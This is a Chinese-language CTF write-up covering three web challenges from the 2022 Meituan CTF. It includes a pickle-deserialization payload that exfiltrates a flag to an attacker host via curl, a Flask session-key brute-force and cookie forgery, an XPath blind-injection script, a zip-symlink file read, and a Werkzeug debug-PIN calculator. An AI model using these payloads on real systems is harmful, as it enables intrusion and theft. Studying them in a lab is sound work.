最终排名

easypickle

源码

import base64
import pickle
from flask import Flask, session
import os
import randomapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3@app.route('/')
def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符,例如aadai,admmi...return 'Hello {}!'.format(session['user'])@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"
#pickle反序列化,带有黑名单if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

由上源码可知想要造成pickle反序列化需要两步:
1.得到secret_key
2.绕过黑名单造成pickle反序列化漏洞
那么先来实现第一步:
app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3
从这里知道,想要爆破key其实并不难,可以自己试试

那么接下来就是要知道怎么爆破了,通过搜索知道有名为flask-unsign工具可以通过字典爆破key

flask-unsign --unsign --cookie "eyJ1c2VyIjoiaWRkbm0ifQ.YyVDmQ.nXit643ch5T34u092IJSngKbCwI" --wordlist dict.txt

这样是通过他自己的字典进行爆破,但是我们需要的是特定的字典,自己生成就好

import os
with open('dict.txt','w') as f:for i in range(1,10000):a=os.urandom(2).hex()f.write("\"{}\"\n".format(a))

flask-unsign要使用的字典里,字符串是要加双引号的,所以这里我就加上了,爆破出key

接着用flask-cookie-manager来进行伪造,admin是比较好伪造的,重要的是绕过下面的黑名单,编写opcode

import base64
opcode = b'''c__builtin__
map
p0
0(S'os.system("curl http://xx.xx.xx.60:1888/?data=`cat f*`")'
tp1
0(c__builtin__
exec
g1
tp2
g0
g2
\x81p3
0c__builtin__
bytes
p4
0(g3
tp3
0g4
g3
\x81.'''
print(base64.b64encode(opcode))#Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnb3Muc3lzdGVtKCJjdXJsIGh0dHA6Ly84MS43MS44NS42MDoxODg4Lz9kYXRhPWBjYXQgZipgIiknCnRwMQowKGNfX2J1aWx0aW5fXwpleGVjCmcxCnRwMgpnMApnMgqBcDMKMGNfX2J1aWx0aW5fXwpieXRlcwpwNAowKGczCnRwMwowZzQKZzMKgS4=

然后

python3 flask_session_cookie_manager3.py encode -s "17ee" -t "{'user':'admin','ser_data':'Y19fYnVpbHRpbl9fCm1hcApwMAowKFMnb3Muc3lzdGVtKCJjdXJsIGh0dHA6Ly84MS43MS44NS42MDoxODg4Lz9kYXRhPWBjYXQgZipgIiknCnRwMQowKGNfX2J1aWx0aW5fXwpleGVjCmcxCnRwMgpnMApnMgqBcDMKMGNfX2J1aWx0aW5fXwpieXRlcwpwNAowKGczCnRwMwowZzQKZzMKgS4='}"#.eJxlj0FPgzAAhf9Lzx7GqEZMPDCI3eiKAgkULqa0UGBQqttSrPG_i7t6eLfvvbzvG5ybz3fBLgw8gdLx2lLlut6nuh69NpicjvvaEH82-IWo2iVX7o5WoPyCg2gQNDofULcRe__h-PUISQbdNTDO4JaE8_IaSni03qmkafdW7IaSJrLqtTz0JxWo1JBk3UVxS7eRw4plw4r7lho9NigfgokvN0ZqRfw18mPHQ4LJf75vaDpyo0389xNxe-uZ2VQ2wZUlWGbwGdyB66q6WjIx9Qr8_AKMp1V3.Yyan_w.MyFksg11wDiz5pgmhXmHhp7NQ-8

在服务器监听,nc -lvn 1888
把上面得到的数据用bp发包即可回显flag.

babyjava

题目说了xpath注入
没接触过所以百度
看了这篇文章以后懂了

https://www.gem-love.com/2022/04/26/%E4%BB%8EMySQL%E7%9B%B2%E6%B3%A8%E5%88%B0XPath%E7%9B%B2%E6%B3%A8/

傻瓜式脚本(hhh)

import requestsurl = "http://eci-2ze379us24j7y8zkronx.cloudeci1.ichunqiu.com:8888/hello"for i in range(44,126):a=chr(i)#payload='\'or count(/root/*)={} or ''=\''.format(i)#payload=''' user1'or starts-with(root(/*[1]),'{}') and '1'='1'''.format(a)#payload=''''or substring(name(/root/*[1]),1,)='user{}' or ''='"'''.format(a)   #子节点 user#payload=''''or substring(name(/root/user/*[2]),1, 8)='usernam{}' or ''='"'''.format(a)   #user下的两个个子节点都是usernamepayload="\'or substring(/root/user/username[2]/text(),1,42)=\'flag"   + "{8b2e0332-c5b2-4439-ab10-739f1edd4dc9" + a +"\'"+"or \'\'=\'\""print(payload)data={"xpath":payload}res=requests.post(url,data)# print(payload)if "<p>user1</p>" in res.text:print(payload)

OnlineUnzip

源码

import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_responseapp=Flask(__name__)def extractFile(filepath):extractdir=filepath.split('.')[0]if not os.path.exists(extractdir):os.makedirs(extractdir)os.system(f'unzip -o {filepath} -d {extractdir}')return redirect(url_for('display',extractdir=extractdir))@app.route('/', methods=['GET'])
def index():return render_template('index.html')@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):if re.search(r"\.\.", extractdir, re.M | re.I) != None:return "Hacker?"else:if not os.path.exists(extractdir):return make_response("error", 404)else:if not os.path.isdir(extractdir):f = open(extractdir, 'rb')response = make_response(f.read())response.headers['Content-Type'] = 'application/octet-stream'return responseelse:fn = os.listdir(extractdir)fn = [".."] + fnf = open("templates/template.html")x = f.read()f.close()ret = "<h1>文件列表:</h1><br><hr>"for i in fn:tpath = os.path.join('/display', extractdir, i)ret += "<a href='" + tpath + "'>" + i + "</a><br>"x = x.replace("HTMLTEXT", ret)return x@app.route('/upload', methods=['GET', 'POST'])
def upload():ip = request.remote_addruploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]if not os.path.exists(uploadpath):os.makedirs(uploadpath)if request.method == 'GET':return redirect('/')if request.method == 'POST':try:upFile = request.files['file']print(upFile.filename)if os.path.splitext(upFile.filename)[-1]=='.zip':filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"upFile.save(filepath)zipDatas = extractFile(filepath)return zipDataselse:return f"{upFile.filename} is not a zip file !"except:return make_response("error", 404)if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

压缩包软链接任意读文件
ln -s / dir
zip --symlinks dir.zip dir
制作好后上传压缩包点击即可看到全部文件,但是我们没有权限读取flag
那么算PIN码,读取靶机flask生成pin码的脚本
先知道算pin码所需的东西:

1 该主机的用户名(从/etc/passwd获得,一般在最后一行显示)
2.modname(默认都是flask.app不用管)
3.appname(默认为Flask)
4.flask的文件位置,报错的时候页面会给
5.网关地址的10进制(/sys/class/net/eth0/address,得到以后把冒号去掉然后print(int("xxx",16))
6.下面所说的机器id(/etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup)

可以看到

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:global _machine_idif _machine_id is not None:return _machine_iddef _generate() -> t.Optional[t.Union[str, bytes]]:linux = b""# machine-id is stable across boots, boot_id is not.for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:value = f.readline().strip()except OSError:continueif value:linux += valuebreak# Containers share the same machine id, add some cgroup# information. This is used outside containers too but should be# relatively stable across boots.try:with open("/proc/self/cgroup", "rb") as f:linux += f.readline().strip().rpartition(b"/")[2]except OSError:passif linux:return linux# On OS X, use ioreg to get the computer's serial number.try:# subprocess may not be available, e.g. Google App Engine# https://github.com/pallets/werkzeug/issues/925from subprocess import Popen, PIPEdump = Popen(["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE).communicate()[0]match = re.search(b'"serial-number" = <([^>]+)', dump)if match is not None:return match.group(1)except (OSError, ImportError):pass# On Windows, use winreg to get the machine guid.if sys.platform == "win32":import winregtry:with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Cryptography",0,winreg.KEY_READ | winreg.KEY_WOW64_64KEY,) as rk:guid: t.Union[str, bytes]guid_type: intguid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")if guid_type == winreg.REG_SZ:return guid.encode("utf-8")return guidexcept OSError:passreturn None_machine_id = _generate()return _machine_id

看关键部分

        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":try:with open(filename, "rb") as f:value = f.readline().strip()except OSError:continueif value:linux += valuebreak# Containers share the same machine id, add some cgroup# information. This is used outside containers too but should be# relatively stable across boots.try:with open("/proc/self/cgroup", "rb") as f:linux += f.readline().strip().rpartition(b"/")[2]except OSError:passif linux:return linux

如果有value,则加到linux变量中,然后break,继续往下
所以最后需要添加的是machine-id + cgroup
还要注意因为是py3.8所以用的生成pin码的脚本不同,改用了sha1

import hashlib
from itertools import chain
probably_public_bits = ['ctf','flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py'
]private_bits = ['95530446088', '96cec10d3d9307792745ec3b85c896203b26b610dff6c00984e0c7b03d3418dc83d90195e7e90d11c845cb1a84ce6f14'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

得到之后可以开启控制台,找命令读取即可

[CTF]2022美团CTF WEB WP相关推荐

  1. Newstar Ctf 2022| week2 wp

    Newstar Ctf 2022| week2 wp Newstar Ctf 2022第二周题目的wp. 文章目录 Newstar Ctf 2022| week2 wp Crypto unusual_ ...

  2. Real World CTF 2022(体验赛)部分WP

    文章目录 Real World CTF 2022(体验赛) Digital Souvenir log4flag Be-a-Database-Hacker the Secrets of Memory b ...

  3. CTF基础知识及web

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 CTF基础知识 一.CTF简介 二.CTF赛事介绍 三.CTF竞赛模式 1.解题模式(Jeopardy) 2.攻防模式(At ...

  4. “百度杯”CTF比赛 九月场--web Upload

    "百度杯"CTF比赛 九月场--web Upload 基础知识 1.什么是一句话木马? 2.一句话木马的简要原理 3.html渲染过程 解析渲染该过程主要分为以下步骤 解决方案 4 ...

  5. 赛宁网安-r3kapig联合战队冲击DEF CON CTF 2022总决赛

    1993年,DEF CON黑客大会正式创办,第一届DEF CON CTF则始于1996年,是全球同类赛事中最具影响力的赛事之一,在圈内有着"黑客世界杯"的美誉. DEF CON C ...

  6. 纵横杯2020 web wp

    title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...

  7. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  8. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  9. 2022年学Web前端怎么样?还有发展前景吗?

    Web前端工程师不论是薪资还是工作环境都是很让人羡慕的,因此有不少的小伙伴想要加入到前端领域中去.因此,很多想要学Web前端的小伙伴们就会询问:2022年学Web前端还有发展前景吗?下面我们就和小千一 ...

最新文章

  1. php mysql 分类_php+mysql实现无限分类实例详解
  2. Python中Queue.get()方法阻塞
  3. opencv python 中cv2.putText()函数的用法
  4. mono for android 使用Tab 控件
  5. [Spring5]Spring框架概述
  6. 2020-10-28
  7. 为什么说劝人报名IT培训班的人,不是坏就是蠢?
  8. ASP.NET Identity系列01,揭开神秘面纱
  9. 笔记+R︱信用风险建模中神经网络激活函数与感知器简述
  10. 强大的PyTorch:10分钟让你了解深度学习领域新流行的框架
  11. 浅谈SQL注入的四种防御方法
  12. 三菱FX3U-PLC 前馈+PID闭环调节实现液压同步控制(比例换向阀)
  13. 云服务器维护包含哪些,云服务器维护内容
  14. 算力之都杭州:楼市向何处去
  15. 谨慎解决:找不到指定的模块(Exception from HRESULT:0X8007007E)
  16. Program received signal SIGFPE,Arithmetic exception.
  17. 做一只展翅翱翔的雄鹰
  18. 探寻HTTPS中S的含义
  19. 国庆头像html代码
  20. 《2022中国各地区科创之星势力图3.0版》重磅发布

热门文章

  1. 比较6种类型和14种数据可视化工具
  2. php代码出现notice,PHP提示Notice: Undefined variable的解决办法
  3. 颜色恒常性 Retinex
  4. 轻量化网络结构——MobileNet
  5. 计算机 打印 速度慢,处理打印机在打印文件时打印速度过慢的原因
  6. GSM Channel Mode Modify和Channel Mode Modify Acknowledge信令
  7. 华为:交付服务体系怎么提升一线作业人员的工作体验?
  8. 澳门SEO优化:名词诠释大全以及新站上线后,seo优化应该如何做?
  9. 简单分析一个通过 js 劫持进行案例
  10. 纳尼?华为首席架构师只用434页笔记,就将网络协议给拿下了